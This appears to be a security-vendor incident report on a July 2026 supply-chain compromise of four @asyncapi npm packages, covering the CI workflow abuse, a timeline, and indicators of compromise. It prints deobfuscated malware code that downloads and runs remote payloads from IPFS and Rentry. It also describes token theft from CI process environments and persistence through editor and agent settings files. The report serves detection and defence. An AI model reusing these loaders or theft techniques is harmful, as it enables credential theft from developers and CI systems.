---
title: "Compromised AsyncAPI npm packages: inside a CI supply-chain attack"
description: "On July 14, 2026, four npm packages in the @asyncapi namespace, totaling over 3 million weekly downloads, were compromised to deliver credential-stealing malware. We investigate how the attack unfolded and how to know if you're affected."
author: "Christophe Tafani-Dereeper, Sebastian Obregoso, Eslam Salem"
date: 2026-07-14
category: "emerging threats and vulnerabilities"
tags: ["software supply-chain security", "open source", "threat research"]
url: "https://securitylabs.datadoghq.com/articles/compromised-asyncapi-npm-packages/"
---

## Key points and observations

- On July 14, 2026, four npm packages in the `@asyncapi` namespace, totaling over 3 million weekly downloads, were compromised to distribute malicious code.
- The attacker injected the code through a [GitHub commit](https://github.com/asyncapi/generator/commit/3eab3ec9304aa26081358330491d3cfeb55cc245). It steals credentials from the infected machine and exfiltrates them to a remote, attacker-controlled server.
- We assess that the threat actor exploited a publicly disclosed vulnerability in the project's CI pipeline to compromise credentials for the bot account that performs releases.
- The techniques used in this attack point to a sophisticated threat actor with CI-aware tactics.

![The full supply chain attack path, from the release bot's stolen credentials to the second-stage payload running on developer machines](https://securitylabs.dd-static.net/img/compromised-asyncapi-npm-packages/attack-path.png?auto=format)
*The full supply chain attack path, from the release bot's stolen credentials to the second-stage payload running on developer machines (click to enlarge)*

## How to know if you're affected

You're affected if you use one of the following package versions:

|          **Package**          | **Malicious version**       |
| :---------------------------: | :-------------------------: |
|      `@asyncapi/generator`    | 3.3.1                       |
| `@asyncapi/generator-components` | 0.7.1                    |
|  `@asyncapi/generator-helpers`   | 1.1.1                    |
|        `@asyncapi/specs`      | 6.11.2 (also 6.11.2-alpha.1) |

To hunt for compromises in your environment, use the indicators in the [Indicators of compromise](#indicators-of-compromise) section.

## What happened

We identified malicious code in a set of popular npm packages and traced it to a commit ([3eab3ec](https://github.com/asyncapi/generator/commit/3eab3ec9304aa26081358330491d3cfeb55cc245)) on the `asyncapi/generator` GitHub repository. The commit injects obfuscated code across several files.

![The obfuscated malicious code injected into the compromised commit](https://securitylabs.dd-static.net/img/compromised-asyncapi-npm-packages/obfuscated-injected-code.png?auto=format)
*The obfuscated malicious code injected into the compromised commit (click to enlarge)*

After deobfuscation, the injected code runs `node -e` with an embedded JavaScript payload:

```javascript
async function main() {
  try {
    spawn('node', ['-e', PAYLOAD], {
      detached: true,
      stdio: 'ignore',
      windowsHide: true,      // hides the window on Windows
    }).unref();               // detaches so it outlives the parent
  } catch (e) {
    console.error(e.message);
  }
}
main();
```

The embedded code fetches a second stage from `hxxps://ipfs[.]io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9` (hosted on IPFS, a peer-to-peer file distribution network). It writes the file to a local `sync.js`, whose location depends on the operating system (`~/.local/share/NodeJS` on Linux, `~/Library/Application Support/NodeJS` on macOS, `%LOCALAPPDATA%/NodeJS` on Windows), then executes it:

```javascript
const FILE_URL  = 'hxxps://ipfs[.]io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9';
const FILE_NAME = 'sync.js';

async function main() {
  try {
    const dir  = getTargetDirectory();
    const dest = path.join(dir, FILE_NAME);
    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
    await downloadFile(FILE_URL, dest);
    spawn('node', [dest], { detached: true, stdio: 'ignore', windowsHide: true }).unref();
    process.exit(0);
  } catch (e) {
    console.error(e.message);
    process.exit(1);
  }
}
main();
```

Once the attacker injected the malicious code, the automated CD pipeline published several packages:

|            **Package**            |                                  **Malicious version**                                  |
| :-------------------------------: | :------------------------------------------------------------------------------------: |
|       `@asyncapi/generator`       |         [3.3.1](https://www.npmjs.com/package/@asyncapi/generator/v/3.3.1)              |
| `@asyncapi/generator-components`  | [0.7.1](https://www.npmjs.com/package/@asyncapi/generator-components/v/0.7.1)           |
|  `@asyncapi/generator-helpers`    |   [1.1.1](https://www.npmjs.com/package/@asyncapi/generator-helpers/v/1.1.1)            |
|         `@asyncapi/specs`         | [6.11.2-alpha.1](https://www.npmjs.com/package/@asyncapi/specs/v/6.11.2-alpha.1), [6.11.2](https://www.npmjs.com/package/@asyncapi/specs/v/6.11.2) |

## Inside the payload: a credential stealer

The second-stage payload decrypts a JSON configuration file using an encryption key derived from hardcoded values and the HKDF key derivation algorithm. The decrypted configuration below lists the command and control (C2) URLs and several runtime parameters:

```json
{
  "attackerPub": "0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e",
  "c2Server": "http://85.137.53[.]71:8080",
  "uploadServer": "http://85.137.53[.]71:8081",
  "c2ProxyMgmt": "http://85.137.53[.]71:8091",
  "serverManager": "http://127.0.0.1:8090",
  "blockchain": {
    "rpcUrl": "https://ethereum-rpc.publicnode[.]com",
    "chainId": 1,
    "contractAddress": "0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710"
  },
  "log": {
    "encryptedFile": "~/.cache/.sys_cache/.diag.enc",
    "fifoBufferMb": 200
  },
  "target": {
    "name": "miasma-train-p1",
    "ecosystem": "npm"
  },
  "persist": true
}
```

This payload's features include:

- **Cryptographic guardrails:** The malware uses Elliptic Curve Cryptography (`secp256k1`). It validates commands with cryptographic certificates, so it only accepts orders signed with the attacker's private master key.
- **Targeted credential harvesting:** It crawls dev environments for cloud infrastructure credentials (`.aws/credentials`, `.kube/config`, GCP tokens), package registry tokens (`npm` authorization keys), and communication platform secrets (Slack, Discord, Telegram tokens).
- **IDE and workflow hooking:** To maintain persistence, the malware injects malicious workflows into popular development configurations, specifically `.vscode/tasks.json` and `.claude/settings.json`.
- **Resilient command and control (C2):** If its primary command servers go offline, the framework falls back on decentralized channels, including Nostr relays and localized peer-to-peer mesh networks (`libp2p`).

## From malicious commit to compromised package

This section examines the GitHub activity that distributed the malicious code through the compromised npm packages.

### How the malicious code got into the GitHub repository

We analyzed GitHub activity on the `asyncapi/generator` repository around the time of the incident. Beyond the commit that introduced the code shipped in the compromised packages ([3eab3ec](https://github.com/asyncapi/generator/commit/3eab3ec9304aa26081358330491d3cfeb55cc245)), the attacker pushed several earlier commits, all with the same placeholder Git authorship metadata (`Your Name <you@example.com>`).

First, at **5:40 UTC**, the attacker pushed a malicious commit ([14da44f](https://github.com/asyncapi/generator/commit/14da44f793c96f6bdcebb3f1b85cdb1d15dae460)) to a new branch called `update`. The branch no longer exists, but the GitHub Activity API still records its creation:

```bash
gh api "repos/asyncapi/generator/activity?per_page=1000" \
  --jq '.[] | select(.ref=="refs/heads/update" and .activity_type=="branch_creation")'
```

```json/3,6,8
{
  "activity_type": "branch_creation",
  "actor": {
    "login": "asyncapi-bot",
    "type": "User"
  },
  "after": "14da44f793c96f6bdcebb3f1b85cdb1d15dae460",
  "before": "0000000000000000000000000000000000000000",
  "ref": "refs/heads/update",
  "timestamp": "2026-07-14T05:40:04Z"
}
```

Second, at **5:42 UTC**, the attacker pushed the same commit [14da44f](https://github.com/asyncapi/generator/commit/14da44f793c96f6bdcebb3f1b85cdb1d15dae460) to a new branch called `next`. The Activity API records that branch creation in the same way, this time with `"ref": "refs/heads/next"` and a `05:42` timestamp:

```bash
gh api "repos/asyncapi/generator/activity?per_page=1000" \
  --jq '.[] | select(.ref=="refs/heads/next" and .activity_type=="branch_creation")'
```

Then, at **5:46 UTC**, the attacker force-pushed the branch back to the clean commit [ff010ef](https://github.com/asyncapi/generator/commit/ff010ef38e1be1ffc4112c8903f43637ecbf4041). The API confirms the force push:

```bash
gh api "repos/asyncapi/generator/activity?per_page=1000" \
  --jq '.[] | select(.ref=="refs/heads/next" and .activity_type=="force_push" and (.after|startswith("ff010ef")))'
```

```json/1,6,8
{
  "activity_type": "force_push",
  "actor": {
    "login": "asyncapi-bot",
    "type": "User"
  },
  "after": "ff010ef38e1be1ffc4112c8903f43637ecbf4041",
  "before": "14da44f793c96f6bdcebb3f1b85cdb1d15dae460",
  "ref": "refs/heads/next",
  "timestamp": "2026-07-14T05:46:04Z"
}
```

Then, at **5:51 UTC**, the attacker pushed another malicious commit [224b7fe9](https://github.com/asyncapi/generator/commit/224b7fe95ba46ffc48f03398abc917dabec0e113) to the `next` branch, and at **7:05 UTC** force-pushed commit [3eab3ec](https://github.com/asyncapi/generator/commit/3eab3ec9304aa26081358330491d3cfeb55cc245). This final commit is the one that ended up in the compromised npm packages.

### How the malicious code ended up in npm packages

The [`Release`](https://github.com/asyncapi/generator/blob/ff010ef38e1be1ffc4112c8903f43637ecbf4041/.github/workflows/release-with-changesets.yml) GitHub Action publishes new package versions to npm. For example, [this run](https://github.com/asyncapi/generator/actions/runs/27713153814) published the legitimate version 3.3.0.

For the attacker's first two commits, the release job ran but skipped publishing to npm ([run 1](https://github.com/asyncapi/generator/actions/runs/29309235657), [run 2](https://github.com/asyncapi/generator/actions/runs/29309401455)).

![The release workflow ran on the attacker's early commits but skipped publishing to npm](https://securitylabs.dd-static.net/img/compromised-asyncapi-npm-packages/release-workflow-skipped.png?auto=format)
*The release workflow ran on the attacker's early commits but skipped publishing to npm (click to enlarge)*

The release job only publishes for certain commit message patterns, which the first two attacker commits (`patch` and `ci: update of files from global .github repo`) did not match:

```yaml
if: |
   startsWith( github.repository, 'asyncapi/' ) &&
   (startsWith( github.event.commits[0].message , 'fix:' ) ||
   startsWith( github.event.commits[0].message, 'fix!:' ) ||
   startsWith( github.event.commits[0].message, 'feat:' ) ||
   startsWith( github.event.commits[0].message, 'chore(release):' ) ||
   startsWith( github.event.commits[0].message, 'feat!:' ))
```

No such workflow runs exist for the follow-up commits [224b7fe9](https://github.com/asyncapi/generator/commit/224b7fe95ba46ffc48f03398abc917dabec0e113) and [3eab3ec](https://github.com/asyncapi/generator/commit/3eab3ec9304aa26081358330491d3cfeb55cc245), even though both match the expected `fix:` pattern. Yet a few minutes after the last commit, **a new release (3.3.1) [appeared](https://github.com/asyncapi/generator/releases/tag/%40asyncapi%2Fgenerator%403.3.1) at 7:10 UTC**. npm [provenance](https://search.sigstore.dev/?logIndex=2167045255) for the malicious `@asyncapi/generator` version confirms the package was published from the usual CI pipeline:

![npm provenance for the malicious version, showing it was built and signed on GitHub Actions from the project's CI pipeline](https://securitylabs.dd-static.net/img/compromised-asyncapi-npm-packages/npm-provenance.png?auto=format)
*npm provenance for the malicious version, showing it was built and signed on GitHub Actions from the project's CI pipeline (click to enlarge)*

The detailed provenance [entry](https://search.sigstore.dev/?logIndex=2167045255) on Rekor, the public transparency log for Sigstore, shows:

```
GitHub Workflow Trigger: push
GitHub Workflow SHA: 3eab3ec9304aa26081358330491d3cfeb55cc245
GitHub Workflow Name: Release
GitHub Workflow Repository: asyncapi/generator
GitHub Workflow Ref: refs/heads/next
Source Repository Digest: 3eab3ec9304aa26081358330491d3cfeb55cc245
Build Trigger: push
Run Invocation URI: https://github.com/asyncapi/generator/actions/runs/29313420558/attempts/1
```

The GitHub Action run 29313420558 named in the provenance links to a workflow run that no longer exists. We assess with high confidence that:

- **The usual CI/CD pipeline published the malicious npm versions**, packaging the code the attacker introduced.
- **Someone manually removed the successful workflow** that published the package to npm.
- **The threat actor held GitHub credentials for the asyncapi-bot user** and used that access to publish their backdoor.

## How the attacker got in

As the previous section showed, we assess that the threat actor carried out this attack after compromising GitHub credentials for asyncapi-bot. This section describes how we identified the likely root cause.

![How the attacker gained initial access, from spam pull requests to stealing the project's release credentials through a vulnerable CI workflow](https://securitylabs.dd-static.net/img/compromised-asyncapi-npm-packages/initial-access.png?auto=format)
*How the attacker gained initial access, from spam pull requests to stealing the project's release credentials through a vulnerable CI workflow (click to enlarge)*

### It all starts with spam

We started by analyzing GitHub activity on the `asyncapi/generator` repository around the time of the compromise and quickly found [36 pull requests](https://github.com/asyncapi/generator/pulls?q=is%3Apr+%22docs%3A+add+donation+files%22) titled `docs: add donation files`, opened by 8 distinct users between 05:03 and 06:14 UTC. These now-deleted pull requests looked harmless: each added a fake donation page to the project.

![A sample of the 36 spam pull requests titled 'docs: add donation files'](https://securitylabs.dd-static.net/img/compromised-asyncapi-npm-packages/donation-spam-pull-requests.png?auto=format)
*A sample of the 36 spam pull requests titled 'docs: add donation files' (click to enlarge)*

The spam looked anecdotal, but its timing was suspicious: the pull requests appeared moments before the attack unfolded.

### All it takes is a vulnerable CI workflow

We kept looking and found [a pull request](https://github.com/asyncapi/generator/pull/2092) from a legitimate contributor that fixes a "[PwnRequest](https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/)" vulnerability in the `Docs Preview (Netlify)` [CI job](https://github.com/asyncapi/generator/blob/ff010ef38e1be1ffc4112c8903f43637ecbf4041/.github/workflows/manual-netlify-preview.yml). The job uses the risky `pull_request_target` trigger:

```yaml
name: Docs Preview (Netlify)

on:
  pull_request_target:
    paths:
      - 'apps/generator/docs/**'
```

An attacker who can write code under `apps/generator/docs/*` can therefore run arbitrary code from a pull request, without maintainer approval.

Returning to the spam pull requests, we noticed a gap in their numbering, suggesting the attacker hid a malicious pull request behind the noise:

```
https://github.com/asyncapi/generator/pull/2149
https://github.com/asyncapi/generator/pull/2150
https://github.com/asyncapi/generator/pull/2151
https://github.com/asyncapi/generator/pull/2152
https://github.com/asyncapi/generator/pull/2153
https://github.com/asyncapi/generator/pull/2154
# No 2155 ?
https://github.com/asyncapi/generator/pull/2156
https://github.com/asyncapi/generator/pull/2157
https://github.com/asyncapi/generator/pull/2158
https://github.com/asyncapi/generator/pull/2159
https://github.com/asyncapi/generator/pull/2160
```

Pull request #2155 (`docs: add template`) was still viewable at the time of writing. A since-deleted user had opened it to merge a branch from a repository that was also already deleted, so we could not see the malicious code they submitted.

![Pull request #2155, opened by 'ghost' (the generic username GitHub uses for deleted accounts) from an already-deleted repository](https://securitylabs.dd-static.net/img/compromised-asyncapi-npm-packages/pull-request-2155-ghost.png?auto=format)
*Pull request #2155, opened by 'ghost' (the generic username GitHub uses for deleted accounts) from an already-deleted repository (click to enlarge)*

### Using the API to unmask the malicious GitHub user and payload

Where there's smoke, there's fire. Reviewing the repository's GitHub Action runs, we found one ([29307859879](https://github.com/asyncapi/generator/actions/runs/29307859879)) that the malicious pull request triggered on the vulnerable job.

![The Docs Preview (Netlify) workflow run triggered by the malicious pull request](https://securitylabs.dd-static.net/img/compromised-asyncapi-npm-packages/vulnerable-workflow-run.png?auto=format)
*The Docs Preview (Netlify) workflow run triggered by the malicious pull request (click to enlarge)*

The GitHub API returned extra details that revealed the user who actually submitted the pull request:

```bash
gh api "repos/asyncapi/generator/actions/runs/29307859879"
```

```json/8,13,16,26,30
{
    "id": 29307859879,
    "name": "Docs Preview (Netlify)",
    "node_id": "WFR_kwLOCHlHJM8AAAAG0uJzpw",
    "head_branch": "fix/docs",
    "head_sha": "47be3886e460107a4ea5ce88ad674a65724ac4a7",
    "path": ".github/workflows/manual-netlify-preview.yml",
    "display_title": "Docs Preview (Netlify)",
    "event": "pull_request_target",
    "created_at": "2026-07-14T05:11:05Z",
    "updated_at": "2026-07-14T05:16:39Z",
    "head_commit": {
        "id": "47be3886e460107a4ea5ce88ad674a65724ac4a7",
        "message": "docs: add template",
        "timestamp": "2026-07-14T05:08:58Z",
        "author": {
            "name": "Your Name",
            "email": "you@example.com"
        },
        "committer": {
            "name": "Your Name",
            "email": "you@example.com"
        }
    },
    "head_repository": {
        "id": 1295862912,
        "full_name": "elzotebo999/generator",
        "private": false,
        "owner": null,
        "html_url": "https://github.com/elzotebo999/generator",
        "fork": true
    }
}
```

`elzotebo999` is the now-deleted user who pushed the malicious commit 47be388 in `elzotebo999/generator`, a since-deleted fork of `asyncapi/generator`.

How do we recover the payload? Commits in a fork remain accessible from the upstream repository, so we can retrieve the malicious commit at [https://github.com/asyncapi/generator/commit/47be388](https://github.com/asyncapi/generator/commit/47be3886e460107a4ea5ce88ad674a65724ac4a7).

![The malicious commit 47be388, still accessible from the upstream repository after the fork was deleted](https://securitylabs.dd-static.net/img/compromised-asyncapi-npm-packages/malicious-commit-47be388.png?auto=format)
*The malicious commit 47be388, still accessible from the upstream repository after the fork was deleted (click to enlarge)*

### Analyzing the malicious commit payload

The malicious commit exploits the `pull_request_target` vulnerability in the GitHub Action that builds the Netlify documentation preview. When the attacker triggers the pipeline from their fork, the build runs the malicious JavaScript embedded in the curly braces.

Running inside CI, the code deobfuscates to a variation of:

```javascript
fetchRentryText()
  .then(code => { eval(code); })
  .catch(() => {});
```

`fetchRentryText` retrieves a second stage from the Rentry.co paste service (specifically `https://rentry[.]co/elzotebo999`) and executes it:

```javascript
const BASE_URL         = "https://rentry.co";
const SOURCE_URL       = "https://rentry.co/elzotebo999";
const SOURCE_EDIT_CODE = "elzotebo";

async function fetchRentryText() {
    const res = await fetch(BASE_URL + "/api/fetch/" + encodeURIComponent(slug), {
    method: "POST",
    headers: {
      Referer: BASE_URL,
      Cookie: session.cookie,
      "Content-Type": "application/x-www-form-urlencoded",
      "User-Agent": "rentry-sync/1.0",
    },
    body,
  });

  // ...
  return data.text;
}
```

This CI second stage has since been taken down, but it was still available during our analysis.

### A CI-aware second stage with memory dumping capabilities

The second stage is a complex piece of malware that dumps GitHub and Netlify tokens from the running pipeline and exfiltrates them to `https://rentry[.]co/elzotebo`. This Rentry paste was last edited at 5:17 UTC, a few seconds after the vulnerable [pipeline](https://github.com/asyncapi/generator/actions/runs/29307859879/job/87005107907) finished.

We assess that after exfiltrating the credentials, the attacker overwrote them with the string `Hello`:

![The Rentry paste used for exfiltration, later overwritten with the string 'Hello'](https://securitylabs.dd-static.net/img/compromised-asyncapi-npm-packages/rentry-paste-overwritten.png?auto=format)
*The Rentry paste used for exfiltration, later overwritten with the string 'Hello' (click to enlarge)*

At a high level, the payload works as follows. We deobfuscated the code and lightly edited it for clarity.

**Runs asynchronously.** So the rest of the pipeline can run and produce credentials, the malware writes code to `/tmp/observer-<pid>.js` and executes it asynchronously:

```javascript
const observerPath = '/tmp/observer-' + process.pid + '.js';
await fsp.writeFile(observerPath, maliciousCode, { encoding: 'utf8', mode: 0o600, flag: 'wx' });
const child = spawn(process.execPath, [observerPath], { detached: true, stdio: 'ignore', cwd: '/tmp'});
```

**Dumps environment variables from running processes.** The malware scans `/proc/*/environ` for `INPUT_GITHUB-TOKEN`, `NETLIFY_AUTH_TOKEN`, and `NETLIFY_SITE_ID`, and writes any matches to `/tmp/observer.log`.

**Patches the actions/checkout code in the runner.** The malware patches `/home/runner/work/_actions/actions/checkout/v5/dist/index.js`, the code of `actions/checkout@v5`, and inserts exfiltration logic. The checkout [action manifest](https://github.com/actions/checkout/blob/e8d4307400f9427dba7cb98e488d6ab85f1cec5f/action.yml#L118) declares that this file runs when the pipeline exits, so the injected code runs after the job finishes. That timing also explains why the credential-dumping code hunts for `INPUT_GITHUB-TOKEN` (passed as an input to the action) rather than `GITHUB_TOKEN` or `GH_TOKEN`.

**Exfiltrates credentials to a second Rentry paste.** Once the pipeline finishes and the malware has collected credentials, it sends them to another paste, `https://rentry[.]co/elzotebo`, using a hardcoded API key.

### Impact: Compromised GitHub and Netlify credentials

Through this attack path, we assess the attacker compromised a GitHub token for the asyncapi-bot user, and possibly credentials for the Netlify site that hosts the project documentation.

## How Datadog can help

[Datadog Code Security](https://docs.datadoghq.com/security/code_security/) identifies hosts, containers, and build environments where a compromised version is installed. To scope affected systems, run the following query in the [Software Composition Analysis (SCA)](https://app.datadoghq.com/security/code-security/sca?query=%28%40package.normalized_name%3A%40asyncapi%2Fgenerator%20%40package.version%3A3.3.1%29%20OR%20%28%40package.normalized_name%3A%40asyncapi%2Fgenerator-components%20%40package.version%3A0.7.1%29%20OR%20%28%40package.normalized_name%3A%40asyncapi%2Fgenerator-helpers%20%40package.version%3A1.1.1%29%20OR%20%28%40package.normalized_name%3A%40asyncapi%2Fspecs%20%40package.version%3A%286.11.2%20OR%206.11.2-alpha.1%29%29&column=score&order=desc) view:

```
(@package.normalized_name:@asyncapi/generator @package.version:3.3.1)
OR (@package.normalized_name:@asyncapi/generator-components @package.version:0.7.1)
OR (@package.normalized_name:@asyncapi/generator-helpers @package.version:1.1.1)
OR (@package.normalized_name:@asyncapi/specs @package.version:(6.11.2 OR 6.11.2-alpha.1))
```

To hunt for follow-on activity, analyze exfiltration traffic across your logs in **Log Management**:

```
@network.destination.ip:85.137.53.71 OR @http.url:*ipfs.io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9
```

## Timeline

| **Time (UTC)** | **Event**                                                                                                                              |
| :------------: | :------------------------------------------------------------------------------------------------------------------------------------ |
| 05:03&ndash;06:14 AM | 36 spam pull requests titled `docs: add donation files` opened by 8 distinct GitHub users                                          |
| ~05:08 AM        | Malicious commit [47be388](https://github.com/asyncapi/generator/commit/47be3886e460107a4ea5ce88ad674a65724ac4a7) authored in the fork `elzotebo999/generator` |
| 05:11 AM         | Malicious pull request [#2155](https://github.com/asyncapi/generator/pull/2155) opened; vulnerable `Docs Preview (Netlify)` [workflow run](https://github.com/asyncapi/generator/actions/runs/29307859879) triggered on the malicious commit |
| 05:17 AM         | Stolen GitHub and Netlify credentials exfiltrated to the Rentry paste `rentry[.]co/elzotebo`                                        |
| 05:40 AM         | Malicious commit [14da44f](https://github.com/asyncapi/generator/commit/14da44f793c96f6bdcebb3f1b85cdb1d15dae460) pushed to a new `update` branch |
| 05:42 AM         | Malicious commit [14da44f](https://github.com/asyncapi/generator/commit/14da44f793c96f6bdcebb3f1b85cdb1d15dae460) pushed to a new `next` branch |
| ~05:46 AM        | `next` branch reset to the previous clean commit [ff010ef](https://github.com/asyncapi/generator/commit/ff010ef38e1be1ffc4112c8903f43637ecbf4041) |
| 05:51 AM         | Malicious commit [224b7fe9](https://github.com/asyncapi/generator/commit/224b7fe95ba46ffc48f03398abc917dabec0e113) (`fix: test release workflow on next`) pushed to `next` branch |
| 07:05 AM         | Malicious commit [3eab3ec](https://github.com/asyncapi/generator/commit/3eab3ec9304aa26081358330491d3cfeb55cc245) (`fix: test release workflow on next`) force-pushed to `next` branch |
| 07:10 AM         | Malicious release [3.3.1](https://github.com/asyncapi/generator/releases/tag/%40asyncapi%2Fgenerator%403.3.1) of `@asyncapi/generator` published to npm |

## Indicators of compromise

Command and control server:

```
85.137.53.71
```

Internet scanners first observed the command and control ports (8080 and 8081) on July 13.

Second stage:

```
https://ipfs[.]io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9
```

Local artifact generated by the malware:

```
~/.cache/.sys_cache/.diag.enc
```

Attacker public key:

```
0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e
```

Ethereum contract:

```
0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710
```

Packages:

```
@asyncapi/generator@3.3.1
@asyncapi/generator-components@0.7.1
@asyncapi/generator-helpers@1.1.1
@asyncapi/specs@6.11.2
@asyncapi/specs@6.11.2-alpha.1
```
